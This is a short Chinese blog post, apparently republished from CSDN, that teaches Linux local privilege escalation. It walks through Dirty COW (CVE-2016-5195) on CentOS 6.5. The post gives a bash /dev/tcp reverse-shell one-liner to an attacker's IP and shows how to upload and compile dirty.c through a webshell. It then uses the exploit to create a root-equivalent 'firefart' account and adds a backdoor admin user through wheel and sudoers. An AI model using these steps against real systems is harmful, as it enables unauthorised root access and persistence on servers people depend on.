linux本地漏洞提权之——溢出提权

利用系统内核提权漏洞基本思路

1.判断系统版本
    uname -a   (Linux查看操作系统内核信息) 
    cat /proc/version (Linux查看当前操作系统版本信息) 
    cat /etc/issue  或cat /etc/redhat-release(Linux查看版本当前操作系统发行版信息)

2.根据内核版本去找对应的exp

3.获取交互式shell(反弹端口)

bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1

4.交互式shell里上传exp并编译
上传路径:/tmp(可读可写可执行目录)

实例:利用centos6.5复现脏牛漏洞(CVE-2016-5195)

1.查看内核版本,符合脏牛使用条件>2.6.2

2.获取交互式shell(反弹端口),菜刀虚拟终端输入命令:bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1,nc输入nc.exe -lvvp 端口进行监听,之后会将shell弹出

3.用菜刀上传exp(dirty.c)到tmp文件

扫描二维码关注公众号,回复: 9814062 查看本文章

4.在交互式shell里使用gcc编译此文件: 命令: gcc -pthread dirty.c -o dirty -lcrypt
如果目标服务器上没有安装gcc编译软件怎么办:可以另找一台机器 (最好内核,操作系统版本和系统位数都和目标机一致)编译,将编译好的文件直接上传

5.执行编译后的dirty文件,命令:./dirty 123456
会生成一个firefart用户代替root,密码就是上面输的123456

6.使用firefart用户进行远程登陆,就具有root权限了

7.之后创建一个用户xxx,使用passwd更改密码,将其添加到普通管理员组wheel,之后去掉etc/sudoers里105行的#

8.此时使用xxx用户登陆,也具有root权限,之后将自动备份的/tmp/passwd.bak内容还原到etc/passwd,即可恢复之前的root权限

发布了55 篇原创文章 · 获赞 59 · 访问量 6978

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104782841